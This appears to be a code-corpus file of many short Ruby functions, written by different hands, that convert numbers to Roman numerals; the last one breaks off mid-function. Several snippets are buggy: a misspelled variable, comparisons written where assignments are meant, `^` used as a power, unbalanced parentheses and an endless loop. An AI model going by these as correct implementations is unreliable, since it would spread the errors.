"def convert_to_roman(i)\n\troman_numeral = \"\"\n\ti = i\n\t(i/1000).times {print \"M\"}\t\t\t\t# 3 * M\n\ti = i % 1000\t\t\t\t\t\t\t# i = 780\n\t\n\t(i/500).times {print \"D\"}\t\t\t\t# 1 * C\n\ti = i % 500\t\t\t\t\t\t\t\t# i = 280\n\n\t(i/100).times {print \"C\"}\t\t\t\t# 2 * C\n\ti = i % 100\t\t\t\t\t\t\t\t# i = 80\n\n\t(i/50).times {print \"L\"}\t\t\t\t# 1 * L\n\ti = i % 50\t\t\t\t\t\t\t\t# i = 30\n\n\t(i/10).times {print \"X\"}\t\t\t\t# 3 * X\n\ti = i % 10\t\t\t\t\t\t\t\t# i = 0\n\n\t(i/1).times {print \"I\"}\t\t\t\t\t# 0 * I\nend",
"def to_roman\n result = \"\"\n number = self\n roman_mapping.keys.each do |divisor|\n quotient, modulus = number.divmod(divisor)\n result << roman_mapping[divisor] * quotient\n number = modulus\n end\n result\n end",
"def roman_numeral num_to_convert\n\t\n\tnum_converted = ''\n\n\tthousands = num_to_convert / 1000\n\tnum_converted = 'M'*thousands\n\tremainder = num_to_convert % 1000\n\n\tfivehundreds = remainder / 500\n\tif remainder >= 900\n\t\tnum_converted += 'CM'\n\t\tremainder = remainder % 900\n\telse\n\t\tnum_converted += 'D'*fivehundreds\n\t\tremainder = remainder % 500\n\tend\n\n\tonehundreds = remainder / 100\n\tif onehundreds == 4\n\t\tnum_converted += 'CD'\n\t\tremainder = remainder % 400\n\telse\n\t\tnum_converted += 'C'*onehundreds\n\t\tremainder = remainder % 100\n\tend\n\t\n\n\tfifties = remainder / 50\n\tif remainder >= 90\n\t\tnum_converted += 'XC'\n\t\tremainder = remainder % 90\n\telse\n\t\tnum_converted += 'L'*fifties\n\t\tremainder = remainder % 50\t\n\tend\n\t\n\ttens = remainder / 10\n\tif tens == 4\n\t\tnum_converted += 'XL'\n\t\tremainder = remainder % 40\n\telse\n\t\tnum_converted += 'X'*tens\n\t\tremainder = remainder % 10\n\tend\n\t\n\tfives = remainder / 5\n\tif remainder >= 9\n\t\tnum_converted += 'IX'\n\t\tremainder = remainder % 9\n\telse\n\t\tnum_converted += 'V'*fives\n\t\tremainder = remainder % 5\n\tend\n\n\tones = remainder\n\tif ones == 4\n\t\tnum_converted += 'IV'\n\telse \n\t\tnum_converted += 'I'*ones\n\tend\n\n\tputs num_converted\n\treturn num_converted\nend",
"def new_roman_numeral number\n digits = []\n i = 4\n while i>0\n digits.push (number%10)\n number = (number/10).to_i\n i -= 1\n end\n thousandth = 'M'*digits[3]\n hundredth = 'D'*(digits[2]/5).to_i+'C'*(digits[2]%5)\n tenth = 'L'*(digits[1]/5).to_i+'X'*(digits[1]%5)\n unit = 'V'*(digits[0]/5).to_i+'I'*(digits[0]%5)\n hundredth = 'CD' if hundredth == 'C'*4\n hundredth = 'CM' if hundredth == 'D'+'C'*4\n tenth = 'XL' if tenth == 'X'*4\n tenth = 'XC' if tenth == 'L'+'X'*4\n unit = 'IV' if unit == 'I'*4\n unit = 'IX' if unit == 'V'+'I'*4\n puts thousandth+hundredth+tenth+unit\nend",
"def roman_numeral(num)\n thousands = (num / 1000)\n hundreds = (num % 1000 / 100)\n tens = (num % 100 / 10)\n ones = (num % 10)\n\n roman = 'M' * thousands\n\n if hundreds == 9\n roman = roman + 'CM'\n elsif hundreds == 4\n roman = roman + 'CD'\n else\n roman = roman + 'D' * (num % 1000 / 500)\n roman = roman + 'C' * (num % 500 / 100)\n end\n\n if tens == 9\n roman = roman + 'XC'\n elsif tens == 4\n roman = romann + 'XL'\n else\n roman = roman + 'L' * (num % 100 / 50)\n roman = roman + 'X' * (num % 50 / 10)\n end\n\n if ones == 9\n roman = roman + 'IX'\n elsif ones == 4\n roman = roman + 'IV'\n else\n roman = roman + 'V' * (num % 10 / 5)\n roman = roman + 'I' * (num % 5 / 1)\n end\n roman\nend",
"def to_roman2 number\t\r\n\t@roman = ''\r\n\tmarker = ['I','V','X','L','C','D','M']\r\n\t(0..Math.log10(number).to_i).each do |i|\r\n\t\tputs i\r\n\t\t@unit_number = (number % (10^(i+1)))/10^i\r\n\t\tputs @unit_number\t\r\n\t\t@roman = @roman + show_power_of_ten(@unit_number,marker[2*i+2],marker[2*i+1],marker[2*i])\t\r\n\tend\r\n\[email protected]\r\nend",
"def roman_numeral num\n\tif num > 999999\n\t\treturn \"number too big for roman numerals\"\n\tend\n\n\trom_digits = ['I','V','X','L','C','D','M','P','Q','R','S','T','A','B','E','F']\n\tnum_of_digits = (num).to_s.length\n\troman_num = ''\n\n\tfor i in 0...num_of_digits\n\t\troman_num = romnum_1_to_9(num,rom_digits[i*2],rom_digits[i*2+1],rom_digits[i*2+2],10**i) + roman_num\n\tend\n\t\n\treturn roman_num\n\nend",
"def to_roman(input)\n result = \"\"\n MAPPING.each do |k,v|\n while input%v < input\n result += k\n input -= v\n end\n end\n result\n end",
"def roman_numeral num\n\n number1000s = (num / 1000)\n number100s = (num % 1000) / 100\n number10s = (num % 100) / 10\n number1s = (num % 10) / 1\n\n numberDs = (num % 1000) / 500\n numberCs = (num % 500) / 100\n numberLs = (num % 100) / 50\n numberXs = (num % 50) / 10\n numberVs = (num % 10) / 5\n numberIs = (num % 5) / 1\n\n result = \"M\" * number1000s\n\n if number100s == 9\n result = result + \"CM\"\n elsif number100s == 4\n result = result + \"CD\"\n else\n result = result + \"D\" * numberDs\n result = result + \"C\" * numberCs\n end\n\n if number10s == 9\n result = result + \"XC\"\n elsif number10s == 4\n result = result + \"XL\"\n else\n result = result + \"L\" * numberLs\n result = result + \"X\" * numberXs\n end\n\n if number1s == 9\n result = result + \"IX\"\n elsif number1s == 4\n result = result + \"IV\"\n else\n result = result + \"V\" * numberVs\n result = result + \"I\" * numberIs\n end\n\n result\n\nend",
"def old_roman_numeral(num)\n\t@romanNumeral = \"\"\t\n\n\twhile num > 0\n\t\tquotient, modulus = num.divmod(1000)\n\t\t\tif quotient > 0 \t\t\t\t\t\t\t\t\t\t#using a divisor \n\t\t\t@romanNumeral << (\"M\" * quotient) #using divisor again\n\t\t\tnum = modulus\t\t\t\t\t\t\t\t\t\t\t\t#using modulus\n\t\telsif\n\t\t\tnum / 500 > 0\n\t\t\t@romanNumeral << (\"D\" * (num/500))\n\t\t\tnum %= 500\n\t\telsif\n\t\t\tif num / 100 > 0\n\t\t\t\t@romanNumeral << (\"C\" * (num/100))\n\t\t\t\tnum %= 100\n\t\t\telsif \n\t\t\t\tnum / 90 > 0 \n\t\t\t\t@romanNumeral << (\"XC\" * (num/90))\n\t\t\t\tnum %= 90\n\t\t\tend\n\t\telsif\n\t\t\tif num / 50 > 0\n\t\t\t@romanNumeral << (\"L\" * (num/50))\n\t\t\tnum %= 50\n\t\t\telsif \n\t\t\t\tnum / 40 > 0\n\t\t\t\t@romanNumeral << (\"XL\" * (num/40))\n\t\t\t\tnum %= 40 \t\t\t\n\t\t\tend\n\t\telsif\n\t\t\tif num / 10 > 0\n\t\t\t\t@romanNumeral << (\"X\" * (num/10))\n\t\t\t\tnum %= 10\n\t\t\telsif\n\t\t\t\tnum / 9 > 0\n\t\t\t\t@romanNumeral << (\"IX\" * (num/9))\n\t\t\t\tnum %= 9 \n\t\t\tend\n\t\telsif\n\t\t\tnum / 5 > 0\n\t\t\t@romanNumeral << (\"V\" * (num/5))\n\t\t\tnum %= 5\n\t\telse\n\t\t\tif\n\t\t\t\tnum / 4 > 0 \n\t\t\t\t@romanNumeral << (\"I\" * (num/4))\n\t\t\t\tnum %= 4\n\t\t\telse\n\t\t\t\tnum / 1 > 0 \n\t\t\t\t@romanNumeral << (\"I\" * (num/1))\n\t\t\t\tnum %= 1\n\t\t\tend\t\n\t\tend\n\tend\n\n\t@romanNumeral\n\nend",
"def old_roman_string num\n raise \"Use positive integer\" if num <= 0\n roman_str = ''\nroman_str << 'M' * (num /1000)\nroman_str << 'D' * (num % 1000 / 500)\nroman_str << 'C' * (num % 500 / 100)\nroman_str << 'L' * (num % 100 / 50)\nroman_str << 'X' * (num % 50 / 10)\nroman_str << 'V' * (num % 10 / 5)\nroman_str << 'I' * (num % 5 / 1)\n\n#build up the strings by * H,T,U\nend",
"def to_roman3(num)\n result = \"\"\n @roman_mapping.each do |pair|\n value = pair[0]\n binding.pry\n roman = pair[1]\n level_occurance = num / value\n level_occurance.times do |x|\n result << roman\n end\n num = num - value * level_occurance\n end\n return result\nend",
"def old_roman number\n\tnumerals = []\n\twhile number < 0\n\t\tputs 'please use a whole number => 1 and <= 3000'\n\tend\n\tif number % 1000 > 0\n\t\tthousands = number / 1000\n\t\tm_numerals = 'M' * thousands\n\t\tnumerals.push m_numerals\n\t\tnumber = number - (thousands * 1000)\n\tend\n\tif number % 500 > 0\n\t\tnumerals.push 'D'\n\t\tnumber = number - 500\n\tend\n\tif number % 100 > 0\n\t\thundreds = number / 100\n\t\tc_numerals = 'C' * hundreds\n\t\tnumerals.push c_numerals\n\t\tnumber = number - (hundreds * 100)\n\tend\n\tif number % 50 > 0\n\t\tnumerals.push 'L'\n\t\tnumber = number - 50\n\tend\n\tif number % 10 > 0\n\t\ttens = number / 10\n\t\tx_numerals = 'X' * tens\n\t\tnumerals.push x_numerals\n\t\tnumber = number - (tens * 10)\n\tend\n\tif number % 5 > 0\n\t\tnumerals.push 'V'\n\t\tnumber = number - 5\n\tend\n\n\tones = number\n\ti_numerals = 'I' * ones\n\tnumerals.push i_numerals\n\n\tputs numerals\nend",
"def modern_roman_numeral number\n numeral = \"\"\n\n numeral_1 = (number / 1000)\n numeral_2 = (number % 1000/100)\n numeral_3 = (number % 100/ 10) \n numeral_4 = (number % 10) \n \n roman = \"M\" * numeral_1\n\nif numeral_2 == 9\n roman = roman + \"CM\"\nelsif numeral_2 == 4\n roman = roman + \"CD\"\nelse\n roman = roman + \"D\" * (number % 1000 / 500)\n roman = roman + \"C\" *(number % 500/100) \n end\nif numeral_3 == 9\n roman = roman + \"XC\"\nelsif numeral_3 == 4\n roman = roman + \"XL\"\nelse\n roman=roman +\"L\" *(number % 100/ 50)\n roman=roman + \"X\"*(number % 50/ 10) \n end\nif numeral_4 == 9\n roman = roman + \"IX\"\nelsif numeral_4 == 4\n roman = roman + \"IV\"\nelse\n roman = roman + \"V\" * (number % 10/ 5)\n roman = roman + \"I\" * (number % 5/ 1) \nend\n\nroman\n\nend",
"def roman_numeral num\n thous = (num / 1000)\n hunds = (num % 1000 / 100)\n tens = (num % 100 / 10)\n ones = (num % 10 )\n\n roman = \"M\" * thous\n if hunds == 9\n roman = roman + \"CM\" \n elsif hunds == 4\n roman = roman + \"CD\"\n else\n roman = roman + \"D\" * (num % 1000 / 500)\n roman = roman + \"C\" * (num % 500 / 100)\n end\n\n if tens == 9 \n roman = roman + \"XC\"\n elsif tens == 4\n roman = roman + \"XL\"\n else\n roman = roman + \"L\" * (num % 100 / 50) \n roman = roman + \"X\" * (num % 50 / 10)\n end\n\n if ones == 9 \n roman = roman + \"IX\"\n elsif ones == 4\n roman = roman + \"IV\"\n else\n roman = roman + \"V\" * (num % 10/ 5)\n roman = roman + \"I\" * (num % 5 / 1)\n end\n roman\n end",
"def generic_fn_roman_numerals(input, expected)\n #Arrange\n #This step is not longer used because the input comes as parameter\n #Act\n result = @roman.convert( input )\n #Assert\n assert_equal(expected, result)\n end",
"def old_roman_numeral num\n\t\n\tif num >= 1000\n\t\tthousands = 'M' * (num / 1000)\n\tend\n\n\tif num >= 100\n\t\ttemp_hundreds = (num % 1000) / 100\n\t\tif temp_hundreds > 5\n\t\t\thundreds = 'D' + 'C' * (temp_hundreds - 5)\n\t\telsif temp_hundreds == 5\n\t\t\thundreds = 'D'\n\t\telse\n\t\t\thundreds = 'C' * temp_hundreds\n\t\tend\n\tend\n\t\n\tif num >= 10\n\t\ttemp_tens = (num % 100) / 10\n\t\tif temp_tens > 5\n\t\t\ttens = 'L' + 'X' * (temp_tens - 5)\n\t\telsif temp_tens == 5\n\t\t\ttens = 'L'\n\t\telse\n\t\t\ttens = 'X' * temp_tens\n\t\tend\n\tend\n\t\n\tif num > 0\n\t\ttemp_ones = num % 10\n\t\tif temp_ones > 5\n\t\t\tones = 'V' + 'I' * (temp_ones - 5)\n\t\telsif temp_ones == 5\n\t\t\tones = 'V'\n\t\telse\n\t\t\tones = 'I' * temp_ones\n\t\tend\n\tend\n\t\n\tputs \"#{num} in Roman numerals is \"+\"#{thousands}\"+\"#{hundreds}\"+\"#{tens}\"+\"#{ones}\"\nend",
"def int_to_roman val\n ROMAN_NUMERALS.map do |l, i|\n repeat, val = val.divmod i\n l * repeat\n end.join\n end",
"def roman_numerals(number)\n\n puts (\"M\" * (number/1000)).to_s\n if ((number%1000)%500) == 0\n puts (\"D\" * (number%1000/500)).to_s\n if ((number%500)%100) == 0\n puts (\"C\" * (number%500/100)).to_s\n if ((number%100)%50) == 0\n puts (\"L\" * (number%100/50)).to_s\n if ((number%50)%10) == 0\n puts (\"X\" * (number%50/10)).to_s\n if ((number%10)%5) == 0\n puts (\"V\" * (number%10/5)).to_s\n if ((number%5)%1)) == 0\n puts (\"I\" * (number%5/1)).to_s\n end\n end\n end\n end\n end\n end\n\n\nend",
"def roman number\n\t\nm_length = 0\nd_length = 0\nc_length = 0\nl_length = 0\nx_length = 0\nv_length = 0\ni_length = 0\n\nif number >= 1000\n\tm_length = number/1000\n\tnumber = number%1000\nend\nif number >= 500\n\td_length = number/500\n\tnumber = number%500\nend\nif number >= 100\n\tc_length = number/100\n\tnumber = number%100\nend\nif number >= 50\n\tl_length = number/50\n\tnumber = number%50\nend\nif number >= 10\n\tx_length = number/10\n\tnumber = number%10\nend\nif number >= 5\n\tv_length = number/5\n\tnumber = number%5\nend\nif number < 5\n\ti_length = number/1\n\tnumber = number%10\nend\n\nputs 'M'*m_length + 'D'*d_length + 'C'*c_length + 'L'*l_length + \"X\"*x_length + \"V\"*v_length + \"I\"*i_length\n\nend",
"def to_roman(num)\n roman_sym=[\"M\",\"CM\",\"D\",\"CD\",\"C\",\"XC\",\"L\",\"XL\",\"X\",\"IX\",\"V\",\"IV\",\"I\"]\n roman_val=[1000,900,500,400,100,90,50,40,10,9,5,4,1]\n roman = \"\"\n roman_sym.each_index do |i|\n roman += roman_sym[i] * (num/roman_val[i])\n num = num%roman_val[i]\n end\n return roman\nend",
"def old_roman num\r\n\r\n\taux = num\r\n\troman_num = ''\r\n\t\r\n\twhile true\r\n\t\r\n\t\tif((aux / 1000) >= 1)\r\n\t\t\troman_num = roman_num + 'M'\r\n\t\t\taux = aux - 1000\r\n\t\t\tputs aux\r\n\t\telsif ((aux / 500) >= 1)\r\n\t\t\troman_num = roman_num + 'D'\r\n\t\t\taux = aux - 500\t\t\r\n\t\t\tputs aux\r\n\t\telsif((aux / 100) >= 1)\r\n\t\t\troman_num = roman_num + 'C'\r\n\t\t\taux = aux - 100\r\n\t\t\tputs aux\r\n\t\telsif((aux / 50) >= 1)\r\n\t\t\troman_num = roman_num + 'L'\r\n\t\t\taux = aux - 50\r\n\t\t\tputs aux\r\n\t\telsif((aux / 10) >= 1)\r\n\t\t\troman_num = roman_num + 'X'\r\n\t\t\taux = aux - 10\r\n\t\t\tputs aux\r\n\t\telsif((aux / 5) >= 1)\r\n\t\t\troman_num = roman_num + 'V'\r\n\t\t\taux = aux - 5\r\n\t\t\tputs aux\r\n\t\telsif((aux / 1) >= 1)\r\n\t\t\troman_num = roman_num + 'I'\r\n\t\t\taux = aux - 1\r\n\t\t\tputs aux\r\n\t\telse\r\n\t\t\tbreak\t\t\t\r\n\t\tend\r\n\tend\r\n\t\r\n\troman_num\r\nend",
"def old_roman_numeral num\r\n\traise 'must use + integer' if num <= 0\r\n\troman = ''\r\n\r\n\troman << 'M' * (num / 1000)\r\n\t\t# -> 1.925 -> 1 (floor)\r\n\troman << 'D' * (num % 1000 / 500)\r\n\t\t# -> 925/500 -> 1.85 -> 1 (floor)\r\n\troman << 'C' * (num % 500 / 100)\r\n\t\t# -> 425/100 -> 4.25 -> 4 (floor)\r\n\troman << 'L' * (num % 100 / 50)\r\n\t\t# -> 25/50 -> 0.5 -> 0 (floor)\r\n\troman << 'X' * (num % 50 / 10)\r\n\t\t# -> 25/10 -> 2.5 -> 2 (floor)\r\n\troman << 'V' * (num % 10 / 5)\r\n\t\t# -> 5/5 -> 1 -> 1\r\n\troman << 'I' * (num % 5 / 1)\r\n\t\t# -> 0/10 -> 0 -> 0\r\n\r\n\troman\r\nend",
"def to_roman(num)\n\toutput = \"\"\n\t@roman_num.each do |key, val|\n\t\tremainder = num%key.to_i\n\t\twhile remainder < num\n\t\t\toutput << val\n\t\t\tnum = num - key.to_i\n\t\tend\n\tend\n\toutput\nend",
"def new_roman_numeral num\n number = \"\"\n if (num / 1000) > 0\n number = \"M\" * (num / 1000)\n end\n if (num % 1000) >= 900 \n number += \"CM\"\n end\n if (num % 1000) >= 500 && (num % 1000) < 900\n number += \"D\"\n end\n if (num % 1000) >= 400 && (num % 1000) < 500\n number += \"CD\"\n end\n if ((num % 1000) % 500) >= 100 && ((num % 1000) % 500) < 400\n number += \"C\" * (((num % 1000) % 500) / 100)\n end\n if (((num % 1000) % 500) % 100) >= 90\n number += \"XC\"\n end\n if (((num % 1000) % 500) % 100) >= 50 && (((num % 1000) % 500) % 100) < 90\n number += \"L\"\n end\n if (((num % 1000) % 500) % 100) >= 40 && (((num % 1000) % 500) % 100) < 50\n number += \"XL\"\n end\n if (((num % 1000) % 500) % 50) >= 10 && (((num % 1000) % 500) % 50) < 40\n number += \"X\" * ((((num % 1000) % 500) % 50) / 10)\n end\n if ((((num % 1000) % 500) % 50) % 10) == 9\n number += \"IX\"\n end\n if ((((num % 1000) % 500) % 50) % 10) >= 5 && ((((num % 1000) % 500) % 50) % 10) < 9\n number += \"V\" + \"I\" * (((((num % 1000) % 500) % 50) % 10) % 5)\n end\n if ((((num % 1000) % 500) % 50) % 10) == 4\n number += \"IV\"\n end\n if ((((num % 1000) % 500) % 50) % 10) < 4\n number += \"I\" * (((((num % 1000) % 500) % 50) % 10) % 5)\n end\n puts number\nend",
"def to_roman2(num)\n result = \"\"\n \n @roman_mapping.each do |pair|\n value = pair[0]\n roman = pair[1]\n division_result = num / value\n result += roman * division_result\n num = num - (value * division_result)\n end\n return result\nend",
"def build_roman(digit, exp)\n roman_digits = [\n { 1 => \"I\", 5 => \"V\" },\n { 1 => \"X\", 5 => \"L\" },\n { 1 => \"C\", 5 => \"D\" },\n { 1 => \"M\" }\n ]\n\n if digit == 0\n return \"\"\n elsif digit <= 3\n return roman_digits[exp][1] * digit\n elsif digit == 4\n return roman_digits[exp][1] + roman_digits[exp][5]\n elsif digit == 5\n return roman_digits[exp][5]\n elsif digit <= 8\n return roman_digits[exp][5] + roman_digits[exp][1] * (digit - 5)\n else\n return roman_digits[exp][1] + roman_digits[exp+1][1]\n end\n end",
"def to_roman(n)\n resto = []\n num = [1000, 900, 500, 400, 100, 90, 50, 40, 10, 9, 5, 4, 1]\n num.each do |element|\n resto.push(n / element)\n n = n % element\n end\n chars = %w[M CM D CD C XC L XL X IX V IV I]\n resto.each_with_index.map do |element, index|\n chars[index] * element\n end.join\nend",
"def to_roman\n old_roman_num = ''\n\n old_roman_num << 'M' * (self / 1000)\n\n old_roman_num << 'D' * (self % 1000 / 500)\n\n old_roman_num << 'C' * (self % 500 / 100)\n\n old_roman_num << 'L' * (self % 100 / 50)\n\n old_roman_num << 'X' * (self % 50 / 10)\n\n old_roman_num << 'V' * (self % 10 / 5)\n\n old_roman_num << 'I' * (self % 5 / 1)\n\n return old_roman_num\n end",
"def old_roman num\r\n\r\n\taux = num\r\n\troman_num = ''\r\n\t\r\n\twhile true\r\n\t\r\n\t\tif((aux / 1000) >= 1)\r\n\t\t\troman_num = roman_num + 'M'\r\n\t\t\taux = aux - 1000\r\n\t\telsif ((aux / 500) >= 1)\r\n\t\t\tif(aux >= 900)\r\n\t\t\t\troman_num = roman_num + 'CM'\r\n\t\t\t\taux = aux - 900\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'D'\r\n\t\t\t\taux = aux - 500\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 100) >= 1)\r\n\t\t\tif(aux >= 400)\r\n\t\t\t\troman_num = roman_num + 'CD'\r\n\t\t\t\taux = aux - 400\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'C'\r\n\t\t\t\taux = aux - 100\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 50) >= 1)\r\n\t\t\tif(aux >= 90)\r\n\t\t\t\troman_num = roman_num + 'XC'\r\n\t\t\t\taux = aux - 90\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'L'\r\n\t\t\t\taux = aux - 50\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 10) >= 1)\r\n\t\t\tif(aux >= 40)\r\n\t\t\t\troman_num = roman_num + 'XL'\r\n\t\t\t\taux = aux - 40\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'X'\r\n\t\t\t\taux = aux - 10\t\t\r\n\t\t\tend\r\n\r\n\t\telsif((aux / 5) >= 1)\r\n\t\t\tif(aux >= 9)\r\n\t\t\t\troman_num = roman_num + 'IX'\r\n\t\t\t\taux = aux - 9\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'V'\r\n\t\t\t\taux = aux - 5\t\t\r\n\t\t\tend\r\n\t\telsif((aux / 1) >= 1)\r\n\t\t\tif(aux >= 4)\r\n\t\t\t\troman_num = roman_num + 'IV'\r\n\t\t\t\taux = aux - 4\t\t\t\t\t\r\n\t\t\telse\r\n\t\t\t\troman_num = roman_num + 'I'\r\n\t\t\t\taux = aux - 1\t\r\n\t\t\tend\r\n\t\telse\r\n\t\t\tbreak\t\t\t\r\n\t\tend\r\n\tend\r\n\t\r\n\troman_num\r\nend",
"def converter(x)\n i=x\n roman_num=[]\n while i!=0\n if i/1000>0\n roman_num.push('M'*(i/1000))\n i-=i-i%1000\n elsif i/100>0\n if i/100<4\n roman_num.push('C'*(i/100))\n i-=i-i%100\n elsif i/100==4\n roman_num.push('CD')\n i-=400\n elsif i/100==5\n roman_num.push('D')\n i-=500\n elsif ((i/100)>5 && (i/100)<9)\n roman_num.push('D')\n i-=500\n roman_num.push('C'*(i/100))\n i-=i-i%100\n elsif i/100==9\n roman_num.push('CM')\n i-=900\n end\n elsif i/10>0\n if i/10<4\n roman_num.push('X'*(i/10))\n i-=i-i%10\n elsif i/10==4\n roman_num.push('XL')\n i-=40\n elsif i/10==5\n roman_num.push('L')\n i-=50\n elsif ((i/10)>5 && (i/10)<9)\n roman_num.push('L')\n i-=50\n roman_num.push('X'*(i/10))\n i-=i-i%10\n elsif i/10==9\n roman_num.push('XC')\n i-=90\n end\n else \n if (i>=1 && i<4)\n roman_num.push('I'*i)\n i=0\n elsif i==4\n roman_num.push('IV')\n i=0\n elsif i==5\n roman_num.push('V')\n i=0\n elsif (i>5 && i<9)\n roman_num.push('V')\n i-=5\n roman_num.push('I'*i)\n i=0\n else\n roman_num.push('IX')\n i=0\n end\n end\n end\n return roman_num.join('')\nend",
"def to_roman(value)\n return \"zero\" if value == 0\n roman_numeral = value < 0 ? \"-\" : \"\"\n value = value.abs\n \n while value >= 1\n NUMERALS.each_with_index do |number, index|\n if value >= number\n roman_numeral += ROMANS[index]\n value -= number\n break\n end\n end\n end\n return roman_numeral\n end",
"def roman\n return \"-#{(-self).roman}\" if self < 0\n return \"\" if self == 0\n @@roman_values_assoc.each do | (i, v) | return(i+(self-v).roman) if v <= self end\n end",
"def roman_numeral(num)\n digits = [[1000, 500, 100, 50, 10, 5, 1], [0, 0, 0, 0, 0, 0, 0], ['M','D','C','L','X','V','I']]\n answer = ' '\n h = 0\n \n digits[0].each do |z|\n if num / z > 0\n digits[1][h] = (num / z) #Counting the number of 10s, 50s, 100s, etc in num\n num = num % z #Using the remainder as the next value of num\n end\n h += 1\n end\n \n for a in 0..digits[1].size - 1 do #Iterate through array to calculate roman numerals old school style\n answer << digits[2][a] * digits[1][a]\n answer = answer.gsub(\"DCCCC\",\"CM\").gsub(\"CCCC\",\"CD\").gsub(\"LXXXX\",\"XC\").gsub(\"XXXX\",\"XL\").gsub(\"VIIII\",\"IX\").gsub(\"IIII\",\"IV\") #Catching edge cases to update old school roman numeral\n end\n\n answer.strip\nend",
"def new_roman_numeral num\n roman = \"\"\n if num == 400\n roman = \"CD\"\n elsif num == 40\n roman = \"XL\"\n elsif num == 4\n roman = \"IV\"\n elsif num == 9\n roman == \"IX\"\n elsif num == 90\n roman == \"XC\"\n elsif num == 900\n roman == \"CM\"\n end\n roman += \"M\" * (num/1000)\n roman += \"D\" * ((num%1000)/500)\n roman += \"C\" * ((num%500)/100)\n roman += \"L\" * ((num%100)/50)\n roman += \"X\" * ((num%50)/10)\n roman += \"V\" * ((num%10)/5)\n roman += \"I\" * ((num%5)/1)\n puts roman\n end",
"def old_roman_numeral num\n\troman = ''\n\n\troman = roman + 'M' * (num / 1000)\n\troman = roman + 'D' * (num % 1000 / 500)\n\troman = roman + 'C' * (num % 500 / 100)\n\troman = roman + 'L' * (num % 100 / 50)\n\troman = roman + 'X' * (num % 50 / 10)\n\troman = roman + 'V' * (num % 10 / 5)\n\troman = roman + 'I' * (num % 5 / 1)\n\n\troman\nend",
"def old_roman_numeral number\n\n if number >= 1000\n thousands = 'M' * (number / 1000)\n end\n\n if number >= 100\n hundreds = (number % 1000) / 100\n if hundreds >= 5\n hundreds = 'D' + 'C' * (hundreds - 5)\n else\n hundreds = 'C' * ((number % 1000) / 100)\n end\n end\n\n if number >= 10\n tens = (number % 100) / 10\n if tens >= 5\n tens = 'L' + 'X' * (tens - 5)\n else\n tens = 'X' * ((number % 100) / 10)\n end\n end\n\n if number >= 1\n ones = (number % 10) / 1\n if ones >= 5\n ones = 'V' + 'I' * (ones - 5)\n else\n ones = 'I' * ((number % 10) / 1)\n end\n end\n\n puts \"#{number} in old-school Roman numerals is \"+\"#{thousands}\"+\"#{hundreds}\"+\"#{tens}\"+\"#{ones}\"\nend",
"def is_roman?\n @input.is_a? String\n end",
"def roman_numeral num\n \n if num >= 1000\n thousands = 'M' * (num / 1000)\n end\n\n # We now account for cases of 400 and 900 (CD, CM, respectively)\n # CCC=300, CD=400, D=500, DCCC=800, CM=900\n if num >= 100\n temp_hundreds = (num % 1000) / 100\n if temp_hundreds == 9\n hundreds = 'CM'\n elsif (temp_hundreds < 9 && temp_hundreds > 5)\n hundreds = 'D' + 'C' * (temp_hundreds - 5)\n elsif temp_hundreds == 5\n hundreds = 'D'\n elsif temp_hundreds == 4\n hundreds = 'CD'\n else\n hundreds = 'C' * temp_hundreds\n end\n end\n \n # We now account for cases of 40 and 90 (XL, XC, respectively)\n # XXX=30, XL=40, L=50, LXXX=80, XC=90\n if num >= 10\n temp_tens = (num % 100) / 10\n if temp_tens == 9\n tens = 'XC'\n elsif (temp_tens < 9 && temp_tens > 5)\n tens = 'L' + 'X' * (temp_tens - 5)\n elsif temp_tens == 5\n tens = 'L'\n elsif temp_tens == 4\n tens = 'XL'\n else\n tens = 'X' * temp_tens\n end\n end\n \n # We now account for cases of 4 and 9 (IV, IX, respectively)\n # III=3, IV=4, V=5, XIII=8, IX=9\n if num > 0\n temp_ones = num % 10\n if temp_ones == 9\n ones = 'IX'\n elsif (temp_ones < 9 && temp_ones > 5)\n ones = 'V' + 'I' * (temp_ones - 5)\n elsif temp_ones == 5\n ones = 'V'\n elsif temp_ones == 4\n ones = 'IV'\n else\n ones = 'I' * temp_ones\n end\n end\n \n puts \"#{num} in \\\"Modern\\\" Roman numerals is \"+\"#{thousands}\"+\"#{hundreds}\"+\"#{tens}\"+\"#{ones}\"\nend",
"def roman_numeral(arabic_numeral)\n arabic_array = arabic_numeral.to_s.split(//)\n arabic_array_int = arabic_array.map { |int| int.to_i }\n if arabic_array.length >= 8\n puts \">> This feature only supports numbers up to 9,999,999, as the unicode for Roman numerals above 1,000 is not universally displayable. Please enter a positive whole number less than 10,000,000:\"\n arabic_numeral = gets.to_i\n roman_numeral(arabic_numeral)\n loop do\n break if arabic_numeral > 0\n if arabic_numeral <= 0\n puts \">> Make sure that the number you enter is greater than 0:\"\n end\n arabic_numeral = gets.to_i\n end\n end\n# begin millions place\n if arabic_array_int[-7] != nil\n millions = arabic_array_int[-7] * 1000\n millions.times { |mmmmm| print \"M\" }\n end\n# begin hundred thousands place\n if arabic_array_int[-6] != nil\n hundred_thousands = arabic_array_int[-6] * 100\n hundred_thousands.times { |mmm| print \"M\" }\n end\n# begin ten thousands place\n if arabic_array_int[-5] != nil\n ten_thousands = arabic_array_int[-5] * 10\n ten_thousands.times { |mm| print \"M\" }\n end\n# begin thousands place\n if arabic_array_int[-4] != nil\n m = arabic_array_int[-4]\n m.times { |m| print \"M\" }\n end\n# begin hundreds place\n unless arabic_array_int[-3] != true || arabic_array_int[-3] == 9 || arabic_array_int[-3] == 4 || arabic_array_int[-3] >= 5 && arabic_array_int[-3] <= 8\n arabic_array_int[-3].times { |c| print \"C\" }\n end\n if arabic_array_int[-3] == 1\n print \"C\"\n end\n if arabic_array_int[-3] == 2\n print \"CC\"\n end\n if arabic_array_int[-3] == 3\n print \"CCC\"\n end\n if arabic_array_int[-3] == 4\n print \"CD\"\n end\n if arabic_array_int[-3] == 5\n print \"D\"\n elsif arabic_array_int[-3] == 6 \n print \"DC\"\n elsif arabic_array_int[-3] == 7\n print \"DCC\"\n elsif arabic_array_int[-3] == 8\n print \"DCCC\"\n end \n if arabic_array_int[-3] == 9\n print \"CM\"\n end\n \n# begin tens place\n 